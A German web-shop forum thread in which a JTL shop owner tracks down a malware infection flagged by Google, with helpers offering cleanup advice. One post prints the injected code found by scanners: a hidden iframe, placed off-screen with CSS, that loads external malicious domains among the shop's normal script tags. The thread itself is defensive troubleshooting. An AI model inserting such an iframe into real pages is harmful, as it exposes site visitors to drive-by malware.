Malware im Shop?

[Vollautomat]

Hallo,
habe ein Problem mit Malware die anscheinend nicht immer aktive ist.
Habe gestern unseren neuen JTL Shop installiert nachdem wir bereits mit unserem vorigen XTC Shop probleme hatten.
Habe dafür extra eine Linux Live CD genommen um Viren befall meines Rechners aus zu schliessen.

Leider hat dieses anscheinent nicht funktioniert.

Habe heute morgen gleich Post von Google bekommen das wir wieder einen Malware befall haben.

Hier noch mal die auflistung wiee ich installiert habe:

- SQL und FTP Datein gelöscht
- mit windows live cd daten hochgeladen und installiert
- Vorhandene Daten vom JTL-WaWi installiert (Windows Server, anscheinend frei von Schädlingen)

Dann heute morgen wieder die Wahnungen.
Bin dann nach ein bischen googeln auf die Seite Sucuri SiteCheck - Free Website Malware Scanner gekommen
die mir erst gemeldet hat das ich mir folgendes eingefangen habe: Sucuri Malware Signatures

Aber ohne das ich etwas gemacht habe ist nach ca. 1h und erneuten scannen die Malware warnung weg, die seite ist "nur noch" Blacklistet.


Was kann ich noch machen?
Kann es sein das der Hoster sich etwas eingefangen hat?

 

[Modulexpert]

AW: Malware im Shop?

hört sich eher nach nem serverbefall an.. ist das dein server? dann neu aufsetzen. retten brauchste eigendlich nur die DB.

 

[Vollautomat]

AW: Malware im Shop?

Serverbefall vom Windows Server mit WaWi drauf? oder Hoster Server befall?

 

[Modulexpert]

AW: Malware im Shop?

dann sag nomma wo genau die warnungen auftauchen ? im shop oder bei der Wawi VPN Verbindung ?

 

[Vollautomat]

AW: Malware im Shop?

Google meldet das z.B. das eine Code-Injection

<iframe src="http://searchblowout.info/?a=YWZmaWQ9MDUyODg="
width="152" height="123">

Von Sucuri bekomme ich folgendes

<script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery-1.4.2.js"></script><style>.i0opltf { position:absolute; left:-1400px; top:-1758px} </style> <div class="i0opltf"><iframe src="http://gunsoverfirbasis.com/?a=YWZmaWQ9MDUyODg=" width="227" height="293"></iframe></div><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery-ui-1.8.9.custom.min.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.timers-1.2.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.cookie.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.pstrength.1.1.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.simplemodal-1.3.5.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.autocomplete.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.jcarousel.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.semantictabs.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.cal.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/cloud-zoom.1.0.2.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.mousewheel-3.0.4.pack.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.fancybox-1.3.3.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.tooltip.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.tipTip.minified.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/global.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jtl.basket.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.dependClass.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.slider.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/hoverIntent.js"></script><script type="text/javascript" src="templates/JTL-Shop3-Tiny/js/jquery.dropdown.js"></script><!--[if lt IE 7]>

 

[Modulexpert]

AW: Malware im Shop?

check mal hiermit.. was dann herrauskommt poste hier mal
https://www.virustotal.com/#url

 

[Vollautomat]

AW: Malware im Shop?

Detection ratio:	1 / 30
Analysis date:	2012-08-31 12:36:25 UTC ( 0 Minuten ago )
File scan:	The URL response content could not be retrieved or it is some text format (HTML, XML, CSV, TXT, etc.), hence, it was not enqueued for antivirus scanning.

Bis auf Google Safebrowsing ist alles clean


Das komische ist halt auch wenn ich im Google Webmaster Tool schaue steht da:

Warnung

Google hat schädlichen Code auf dieser Website gefunden. Sie sollten Ihre Website schnellstmöglich bereinigen. Anderenfalls erhalten Google-Nutzer unter Umständen eine Warnung, wenn sie versuchen, Seiten auf dieser Website aufzurufen.

Direkt daruter aber auch

Status der letzten Badware-Überprüfung dieser Website: Die Überprüfung der Website ist abgeschlossen. Die Website ist sauber. Die Badware-Warnungen der Websuche wurden entfernt. Beachten Sie, dass es etwas dauern kann, bis diese Änderung wirksam wird.

Das allerdings auch schon seit 8Uhr heute morgen

 

[Modulexpert]

AW: Malware im Shop?

da darf keine 1 stehen, sondern ne 0. durchforste mal deinen ganzen source nach dem iframe. irgendwo steht der drin

 

[Vollautomat]

AW: Malware im Shop?

Wenn ich den ganzen inhalt vom Webspace mit dem Installations datein vergleiche sehe ich keinen Großen unterschied.
Eigendlich nur das was ich geändert habe, den cache speicher sowie die Bilder.

Auch der Shopdateicheck zeigt keine modifizierten Datein an.

 

[Vollautomat]

AW: Malware im Shop?

Wie aktuell sind die Daten bei Google Safebrowsing eigendlich?
Bei den Webmaster Tools steht als datum der 30.08.2012 dran, ist das dann eine abfrage von gestern? oder auf welcher grundlage werde ich gesperrt

 

[Modulexpert]

AW: Malware im Shop?

wenn heute abend das noch aktuell ist (also nomma checken) dann mußte wohl suchen wo der iframe ist
Da skönnen eigendlich nur tpl Dateien sein, da du ja sagst das die phps noch original sind

 

[Vollautomat]

AW: Malware im Shop?

Heute bekomme ich von https://www.virustotal.com/#url
Noch dieses zusätzlich angezeigt:

Sophos URL description URL subjected to threat Mal/HTMLGen-A.

Websense ThreatSeeker URL category Uncategorized.

Sophos domain information The URL host was subjected to threat Mal/HTMLGen-A.

Gibt es eine Anleitung wie man am besten nach iframes sucht?
Kann das ganze auch ausserhalb des eigendlichen /html ordners liegen?



Gibt es zur reinigung des Webspace eigendlich Dienstleister und wenn ja welche sind dort zu empfehlen?
Ist der Service von Sucuri z.B. für 89$ ein Jahr Malware frei ein gutes angebot

 

[frijk]

AW: Malware im Shop?

Hallo,

es gibt einen haufen Dienstleister die sowas anbieten - leider sind auch viele dabei die es nicht wirklich können.

Wenn du dich selber auf die Suche begibst:
- Webseite in den Wartungsmodes (damit sich auch kein Besucher etwas einfangen kann)
- Stelle sicher dass dein Rechner mit dem du arbeitest wirklich sauber ist - oft hat man Schadsoftware auf dem Rechner die FTP-Zugangsdaten ausspäht und dann damit Änderungen am Server vollzieht
- Wenn der Rechner sauber ist alle Passwörter ändern (FTP, MySQL...)
- mach dich auf die Suche nach den betroffenen Dateien - ggf log-Dateien checken, Dateien auf Änderungen (vielleicht kannst du mit dem Änderungsdatum was anfangen)
Dabei bitte berücksichtigen dass der betreffende iframe oft nicht im Klartext sondern verschlüsselt in den Dateien abgespeichert ist!
Auch oft betroffen: .htaccess, diese nicht aussen vorlassen.

Alternativ: Shop vom Server löschen und dann das definitiv saubere Backup (sofern vorhanden) einspielen.

Viele Grüße,
Michael

 

[Vollautomat]

AW: Malware im Shop?

Aber wiso feindet z.B. Google Webmaster Tool etwas?
Wenn ich mir den Quelltext vom Browser ansehe müßte ich doch den Link auf finden?

 

[frijk]

AW: Malware im Shop?

Wenn es im Quelltext steht ja. Falls aber z.B. die htaccess befallen ist wirst du im Quelltext nichts sehen und trotzdem beschwerden von Google bekommen.

 

[Vollautomat]

AW: Malware im Shop?

Habe es gefunden, es war nicht unser webspace der verseucht war, sondern der Server des Hosters. Beim einloggen in Confixx Center bekamm ich plötzlich die gleiche Virenmeldung die mich stutzig gemacht hat. Nach umzug (Inhalt nur kopiert) waren wir wieder Malware frei

 

[Modulexpert]

AW: Malware im Shop?

Habe es gefunden, es war nicht unser webspace der verseucht war, sondern der Server des Hosters. Beim einloggen in Confixx Center bekamm ich plötzlich die gleiche Virenmeldung die mich stutzig gemacht hat. Nach umzug (Inhalt nur kopiert) waren wir wieder Malware frei

Dann such dir schnellstens einen anderen Hoster.Sowas darf einem Hoster nicht passieren.

 

[Vollautomat]

AW: Malware im Shop?

Schon passiert, neuer Hoster neues Glück.